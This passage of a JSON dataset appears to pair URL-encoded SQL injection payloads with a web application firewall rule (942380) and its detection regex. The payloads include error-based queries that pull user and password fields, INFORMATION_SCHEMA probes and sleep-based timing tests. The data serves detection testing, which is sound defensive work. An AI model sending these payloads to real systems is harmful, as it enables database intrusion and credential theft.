?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from%2F%2A%2A%2F%28select%2F%2A%2A%2Fcount%28%2A%29%2Cconcat%28floor%28rand%280%29%2A2%29%2C0x3a%2C%28select%2F%2A%2A%2Fconcat%28user%2C0x3a%2Cpassword%29%2F%2A%2A%2Ffrom%2F%2A%2A%2Fpwn_base_admin%2F%2A%2A%2Flimit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "HAVING+1%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "execute+elysi" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "FROM%28SELECT+COUNT%28%2A%29%2CCONCAT%280x716a766b71%2C%28SELECT+%28ELT%283419%3D3419%2C1%29%29%29%2C0x7171717071%2CFLOOR%28RAND%280%29%2A2%29%29x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x%29a%29%26limit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "FROM%28SELECT+COUNT%28%2A%29%2CCONCAT%280x716a766b71%2C%28SELECT+%28ELT%289184%3D9184%2C1%29%29%29%2C0x7171717071%2CFLOOR%28RAND%280%29%2A2%29%29x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x%29a%29+AND+%27%25%27%3D%27%26limit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from%28select%28sleep%2820%29%29%29a%29%27%26data%5BJob%5D%5Blimit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from%28select%28sleep%2820%29%29%29a%29%2B%27%26data%5BJob%5D%5Blimit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from%28select%28sleep%2820%29%29%29a%29--+%26data%5BJob%5D%5Blimit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from%28select%28sleep%2820%29%29%29a%29%26data%5BJob%5D%5Blimit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "FROM+ack_variable+WHERE+name%3D%22cron_last%22%3B%26sql_delimit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "execute node_" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "execute scald" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "execute system" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "execute user_" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "execute views" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "execute patha" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "execute workb" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" 